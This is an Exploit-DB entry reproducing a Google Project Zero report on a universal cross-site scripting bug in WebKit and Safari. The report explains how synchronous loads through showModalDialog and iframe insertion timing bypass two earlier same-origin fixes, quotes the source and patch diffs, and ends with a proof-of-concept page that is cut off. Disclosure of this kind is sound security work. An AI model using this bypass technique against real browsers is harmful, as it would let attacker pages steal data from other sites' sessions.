Exploit-DB #47162
Description: WebKit - Universal Cross-Site Scripting due to Synchronous Page Loads
Type: dos
Platform: multiple
Date: 2019-07-25
Author: Google Security Research

Exploit:
BACKGROUND
As lokihardt@ has demonstrated in https://bugs.chromium.org/p/project-zero/issues/detail?id=1121,
WebKit's support of the obsolete `showModalDialog` method gives an attacker the ability to perform
synchronous cross-origin page loads. In certain conditions, this might lead to
time-of-check-time-of-use bugs in the code responsible for enforcing the Same-Origin Policy. In
particular, the original bug exploited a TOCTOU bug in `SubframeLoader::requestFrame` to achieve
UXSS.

(copied from lokihardt's report)
```
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
    // Support for <frame src="javascript:string">
    URL scriptURL;
    URL url;
    if (protocolIsJavaScript(urlString)) {
        scriptURL = completeURL(urlString); // completeURL() encodes the URL.
        url = blankURL();
    } else
        url = completeURL(urlString);

    if (shouldConvertInvalidURLsToBlank() && !url.isValid())
        url = blankURL();

    Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
    if (!frame)
        return false;

    if (!scriptURL.isEmpty())
        frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom

    return true;
}
```

The bug was fixed by inserting an extra access check right in front of the `executeIfJavaScriptURL`
call.
```
-    if (!scriptURL.isEmpty())
+    if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
         frame->script().executeIfJavaScriptURL(scriptURL);
```

It has stopped the original attack, but a year later https://bugs.webkit.org/show_bug.cgi?id=187203
was reported, which abused the HTML parser to bypass the added check. The problem was that
`isURLAllowed` didn't block `javascript:` URIs when the JavaScript execution context stack was
empty, i.e. when the `requestFrame` call was originating from the parser, so the exploit just needed
to make the parser insert an `iframe` element with a `javascript:` URI and use its `onload` handler
to load a cross-origin page inside `loadOrRedirectSubframe`.

As a result, another check has been added (see the comment below):
```
+    bool hasExistingFrame = ownerElement.contentFrame();
     Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList);
     if (!frame)
         return false;
 
-    if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
+    // If we create a new subframe then an empty document is loaded into it synchronously and may
+    // cause script execution (say, via a DOM load event handler) that can do anything, including
+    // navigating the subframe. We only want to evaluate scriptURL if the frame has not been navigated.
+    bool canExecuteScript = hasExistingFrame || (frame->loader().documentLoader() && frame->loader().documentLoader()->originalURL() == blankURL());
+    if (!scriptURL.isEmpty() && canExecuteScript && ownerElement.isURLAllowed(scriptURL))
         frame->script().executeIfJavaScriptURL(scriptURL);
```

VULNERABILITY DETAILS
The second fix relies on the assumption that the parser can't trigger a `requestFrame` call for an
`iframe` element with an existing content frame. However, due to the way the node insertion
algorithm is implemented, it's possible to run JavaScript while the element's insertion is still in
progress:

https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/dom/ContainerNode.cpp#L185
```
static ALWAYS_INLINE void executeNodeInsertionWithScriptAssertion(ContainerNode& containerNode, Node& child,
    ContainerNode::ChildChangeSource source, ReplacedAllChildren replacedAllChildren, DOMInsertionWork doNodeInsertion)
{
    NodeVector postInsertionNotificationTargets;
    {
        ScriptDisallowedScope::InMainThread scriptDisallowedScope;

        if (UNLIKELY(containerNode.isShadowRoot() || containerNode.isInShadowTree()))
            containerNode.containingShadowRoot()->resolveSlotsBeforeNodeInsertionOrRemoval();

        doNodeInsertion();
        ChildListMutationScope(containerNode).childAdded(child);
        postInsertionNotificationTargets = notifyChildNodeInserted(containerNode, child);
    }

[...]

    ASSERT(ScriptDisallowedScope::InMainThread::isEventDispatchAllowedInSubtree(child));
    for (auto& target : postInsertionNotificationTargets)
        target->didFinishInsertingNode();
[...]
```

Note that `HTMLFrameElementBase::didFinishInsertingNode` eventually calls `requestFrame`. So, if a
subtree which is being inserted contains multiple `iframe` elements, the first one can act as a
trigger for the JavaScript code that creates a content frame for another element right before its
`requestFrame` method is executed to bypass the `canExecuteScript` check. `isURLAllowed` again can
be tricked with the help of the HTML parser.

It's also worth noting that the `showModalDialog` method has to be triggered by a user gesture. On
the other hand, an attacker can't just wrap the exploit in a `click` event handler, as it would put
an execution context on the stack and make the `isURLAllowed` check fail. One way to overcome this
is to save a gesture token by performing an asynchronous load of a `javascript:` URI.

VERSION
Safari 12.0.3 (14606.4.5)
WebKit r243998

REPRODUCTION CASE
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run() {
  if (++counter == 2) {
    parent_frame = frame.contentDocument.querySelector("iframe");
    frame1 = parent_frame.appendChild(document.createElement("iframe"));
    frame2 = parent_frame.appendChild(document.createElement("iframe"));
    frame1.src = "javascript:top.runChild()";
  }
}

let child_counter = 0;
function runChild() {
  if (++child_counter == 2